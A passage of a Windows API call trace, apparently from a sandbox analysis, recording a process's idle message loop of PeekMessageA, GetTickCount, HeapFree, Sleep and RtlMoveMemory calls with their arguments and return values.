wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.838] GetTickCount () returned 0x1150e25 [0120.838] GetTickCount () returned 0x1150e25 [0120.838] GetTickCount () returned 0x1150e25 [0120.838] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.838] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.838] GetTickCount () returned 0x1150e25 [0120.839] IsWindowVisible (hWnd=0x30268) returned 0 [0120.839] Sleep (dwMilliseconds=0x0) [0120.839] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.839] GetLastError () returned 0x0 [0120.839] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.839] GetLastError () returned 0x0 [0120.839] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.839] GetLastError () returned 0x0 [0120.839] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.839] GetLastError () returned 0x0 [0120.839] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.839] GetLastError () returned 0x0 [0120.839] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.839] GetLastError () returned 0x0 [0120.839] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.839] GetLastError () returned 0x0 [0120.839] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.839] GetLastError () returned 0x0 [0120.839] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.839] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.840] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.840] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.840] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.840] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.840] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.840] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.840] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.840] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.840] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.840] GetLastError () returned 0x0 [0120.840] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.841] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.841] GetTickCount () returned 0x1150e25 [0120.841] GetTickCount () returned 0x1150e25 [0120.841] GetTickCount () returned 0x1150e25 [0120.841] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.841] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.841] GetTickCount () returned 0x1150e25 [0120.841] IsWindowVisible (hWnd=0x30268) returned 0 [0120.841] Sleep (dwMilliseconds=0x0) [0120.841] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.841] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.841] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.841] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.842] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.842] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.842] GetTickCount () returned 0x1150e25 [0120.842] GetTickCount () returned 0x1150e25 [0120.842] GetTickCount () returned 0x1150e25 [0120.842] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.842] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.842] GetTickCount () returned 0x1150e25 [0120.842] IsWindowVisible (hWnd=0x30268) returned 0 [0120.842] Sleep (dwMilliseconds=0x0) [0120.842] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.842] GetTickCount () returned 0x1150e25 [0120.842] GetTickCount () returned 0x1150e25 [0120.842] GetTickCount () returned 0x1150e25 [0120.842] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.842] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.842] GetTickCount () returned 0x1150e25 [0120.842] IsWindowVisible (hWnd=0x30268) returned 0 [0120.842] Sleep (dwMilliseconds=0x0) [0120.842] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.842] GetTickCount () returned 0x1150e25 [0120.842] GetTickCount () returned 0x1150e25 [0120.843] GetTickCount () returned 0x1150e25 [0120.843] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.843] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.843] GetTickCount () returned 0x1150e25 [0120.843] IsWindowVisible (hWnd=0x30268) returned 0 [0120.843] Sleep (dwMilliseconds=0x0) [0120.843] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.843] GetTickCount () returned 0x1150e25 [0120.843] GetTickCount () returned 0x1150e25 [0120.843] GetTickCount () returned 0x1150e25 [0120.843] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.843] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.843] GetTickCount () returned 0x1150e25 [0120.843] IsWindowVisible (hWnd=0x30268) returned 0 [0120.843] Sleep (dwMilliseconds=0x0) [0120.843] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.843] GetTickCount () returned 0x1150e25 [0120.843] GetTickCount () returned 0x1150e25 [0120.843] GetTickCount () returned 0x1150e25 [0120.843] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.843] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.843] GetTickCount () returned 0x1150e25 [0120.844] IsWindowVisible (hWnd=0x30268) returned 0 [0120.844] Sleep (dwMilliseconds=0x0) [0120.844] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.844] GetTickCount () returned 0x1150e25 [0120.844] GetTickCount () returned 0x1150e25 [0120.844] GetTickCount () returned 0x1150e25 [0120.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.844] GetTickCount () returned 0x1150e25 [0120.844] IsWindowVisible (hWnd=0x30268) returned 0 [0120.844] Sleep (dwMilliseconds=0x0) [0120.844] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.844] GetTickCount () returned 0x1150e25 [0120.844] GetTickCount () returned 0x1150e25 [0120.844] GetTickCount () returned 0x1150e25 [0120.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.844] GetTickCount () returned 0x1150e25 [0120.844] IsWindowVisible (hWnd=0x30268) returned 0 [0120.844] Sleep (dwMilliseconds=0x0) [0120.844] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.844] GetTickCount () returned 0x1150e25 [0120.844] GetTickCount () returned 0x1150e25 [0120.845] GetTickCount () returned 0x1150e25 [0120.845] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.845] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.845] GetTickCount () returned 0x1150e25 [0120.845] IsWindowVisible (hWnd=0x30268) returned 0 [0120.845] Sleep (dwMilliseconds=0x0) [0120.845] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.845] GetTickCount () returned 0x1150e25 [0120.845] GetTickCount () returned 0x1150e25 [0120.845] GetTickCount () returned 0x1150e25 [0120.845] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.845] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.845] GetTickCount () returned 0x1150e25 [0120.845] IsWindowVisible (hWnd=0x30268) returned 0 [0120.845] Sleep (dwMilliseconds=0x0) [0120.845] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.845] GetTickCount () returned 0x1150e25 [0120.845] GetTickCount () returned 0x1150e25 [0120.845] GetTickCount () returned 0x1150e25 [0120.845] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.845] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.845] GetTickCount () returned 0x1150e25 [0120.846] IsWindowVisible (hWnd=0x30268) returned 0 [0120.846] Sleep (dwMilliseconds=0x0) [0120.846] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.846] GetTickCount () returned 0x1150e25 [0120.846] CoFreeUnusedLibraries () [0120.846] GetTickCount () returned 0x1150e25 [0120.846] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.846] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.846] GetTickCount () returned 0x1150e25 [0120.846] IsWindowVisible (hWnd=0x30268) returned 0 [0120.846] Sleep (dwMilliseconds=0x0) [0120.846] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.846] CoFreeUnusedLibraries () [0120.846] GetTickCount () returned 0x1150e34 [0120.846] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.846] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.846] GetTickCount () returned 0x1150e34 [0120.846] IsWindowVisible (hWnd=0x30268) returned 0 [0120.846] Sleep (dwMilliseconds=0x0) [0120.846] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.846] CoFreeUnusedLibraries () [0120.846] GetTickCount () returned 0x1150e34 [0120.847] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.847] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.847] GetTickCount () returned 0x1150e34 [0120.847] IsWindowVisible (hWnd=0x30268) returned 0 [0120.847] Sleep (dwMilliseconds=0x0) [0120.847] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.847] CoFreeUnusedLibraries () [0120.847] GetTickCount () returned 0x1150e34 [0120.847] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.847] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.847] GetTickCount () returned 0x1150e34 [0120.847] IsWindowVisible (hWnd=0x30268) returned 0 [0120.847] Sleep (dwMilliseconds=0x0) [0120.847] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.847] CoFreeUnusedLibraries () [0120.847] GetTickCount () returned 0x1150e34 [0120.847] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.847] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.847] GetTickCount () returned 0x1150e34 [0120.847] IsWindowVisible (hWnd=0x30268) returned 0 [0120.847] Sleep (dwMilliseconds=0x0) [0120.847] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.847] CoFreeUnusedLibraries () [0120.848] GetTickCount () returned 0x1150e34 [0120.848] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.848] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.848] GetTickCount () returned 0x1150e34 [0120.848] IsWindowVisible (hWnd=0x30268) returned 0 [0120.848] Sleep (dwMilliseconds=0x0) [0120.848] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.848] CoFreeUnusedLibraries () [0120.848] GetTickCount () returned 0x1150e34 [0120.848] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.848] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.848] GetTickCount () returned 0x1150e34 [0120.848] IsWindowVisible (hWnd=0x30268) returned 0 [0120.848] Sleep (dwMilliseconds=0x0) [0120.848] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.848] CoFreeUnusedLibraries () [0120.848] GetTickCount () returned 0x1150e34 [0120.848] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.848] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.848] GetTickCount () returned 0x1150e34 [0120.848] IsWindowVisible (hWnd=0x30268) returned 0 [0120.848] Sleep (dwMilliseconds=0x0) [0120.848] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.849] CoFreeUnusedLibraries () [0120.849] GetTickCount () returned 0x1150e34 [0120.849] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.849] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.849] GetTickCount () returned 0x1150e34 [0120.849] IsWindowVisible (hWnd=0x30268) returned 0 [0120.849] Sleep (dwMilliseconds=0x0) [0120.849] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.849] CoFreeUnusedLibraries () [0120.849] GetTickCount () returned 0x1150e34 [0120.849] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.849] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.849] GetTickCount () returned 0x1150e34 [0120.849] IsWindowVisible (hWnd=0x30268) returned 0 [0120.849] Sleep (dwMilliseconds=0x0) [0120.849] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.849] CoFreeUnusedLibraries () [0120.849] GetTickCount () returned 0x1150e34 [0120.849] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.849] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.849] GetTickCount () returned 0x1150e34 [0120.849] IsWindowVisible (hWnd=0x30268) returned 0 [0120.849] Sleep (dwMilliseconds=0x0) [0120.849] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.850] CoFreeUnusedLibraries () [0120.850] GetTickCount () returned 0x1150e34 [0120.850] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.850] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.850] GetTickCount () returned 0x1150e34 [0120.850] IsWindowVisible (hWnd=0x30268) returned 0 [0120.850] Sleep (dwMilliseconds=0x0) [0120.850] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.850] CoFreeUnusedLibraries () [0120.850] GetTickCount () returned 0x1150e34 [0120.850] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.850] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.850] GetTickCount () returned 0x1150e34 [0120.850] IsWindowVisible (hWnd=0x30268) returned 0 [0120.850] Sleep (dwMilliseconds=0x0) [0120.850] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.850] CoFreeUnusedLibraries () [0120.850] GetTickCount () returned 0x1150e34 [0120.850] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.850] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.850] GetTickCount () returned 0x1150e34 [0120.850] IsWindowVisible (hWnd=0x30268) returned 0 [0120.851] Sleep (dwMilliseconds=0x0) [0120.851] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.851] CoFreeUnusedLibraries () [0120.851] GetTickCount () returned 0x1150e34 [0120.851] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.851] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.851] GetTickCount () returned 0x1150e34 [0120.851] IsWindowVisible (hWnd=0x30268) returned 0 [0120.851] Sleep (dwMilliseconds=0x0) [0120.851] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.851] CoFreeUnusedLibraries () [0120.851] GetTickCount () returned 0x1150e34 [0120.851] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.851] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.851] GetTickCount () returned 0x1150e34 [0120.851] IsWindowVisible (hWnd=0x30268) returned 0 [0120.851] Sleep (dwMilliseconds=0x0) [0120.851] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.851] CoFreeUnusedLibraries () [0120.851] GetTickCount () returned 0x1150e34 [0120.851] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.851] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.852] GetTickCount () returned 0x1150e34 [0120.852] IsWindowVisible (hWnd=0x30268) returned 0 [0120.852] Sleep (dwMilliseconds=0x0) [0120.852] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.852] CoFreeUnusedLibraries () [0120.852] GetTickCount () returned 0x1150e34 [0120.852] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.852] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.852] GetTickCount () returned 0x1150e34 [0120.852] IsWindowVisible (hWnd=0x30268) returned 0 [0120.852] Sleep (dwMilliseconds=0x0) [0120.852] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.852] CoFreeUnusedLibraries () [0120.852] GetTickCount () returned 0x1150e34 [0120.852] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.852] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.852] GetTickCount () returned 0x1150e34 [0120.852] IsWindowVisible (hWnd=0x30268) returned 0 [0120.852] Sleep (dwMilliseconds=0x0) [0120.852] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.852] CoFreeUnusedLibraries () [0120.852] GetTickCount () returned 0x1150e34 [0120.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.853] GetTickCount () returned 0x1150e34 [0120.853] IsWindowVisible (hWnd=0x30268) returned 0 [0120.853] Sleep (dwMilliseconds=0x0) [0120.853] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.853] CoFreeUnusedLibraries () [0120.853] GetTickCount () returned 0x1150e34 [0120.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.853] GetTickCount () returned 0x1150e34 [0120.853] IsWindowVisible (hWnd=0x30268) returned 0 [0120.853] Sleep (dwMilliseconds=0x0) [0120.853] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.853] CoFreeUnusedLibraries () [0120.853] GetTickCount () returned 0x1150e34 [0120.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.853] GetTickCount () returned 0x1150e34 [0120.853] IsWindowVisible (hWnd=0x30268) returned 0 [0120.853] Sleep (dwMilliseconds=0x0) [0120.853] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.853] CoFreeUnusedLibraries () [0120.853] GetTickCount () returned 0x1150e34 [0120.854] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.854] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.854] GetTickCount () returned 0x1150e34 [0120.854] IsWindowVisible (hWnd=0x30268) returned 0 [0120.854] Sleep (dwMilliseconds=0x0) [0120.854] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.854] CoFreeUnusedLibraries () [0120.854] GetTickCount () returned 0x1150e34 [0120.854] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.854] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.854] CoFreeUnusedLibraries () [0120.854] GetTickCount () returned 0x1150e34 [0120.854] IsWindowVisible (hWnd=0x30268) returned 0 [0120.854] Sleep (dwMilliseconds=0x0) [0120.854] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.854] CoFreeUnusedLibraries () [0120.854] GetTickCount () returned 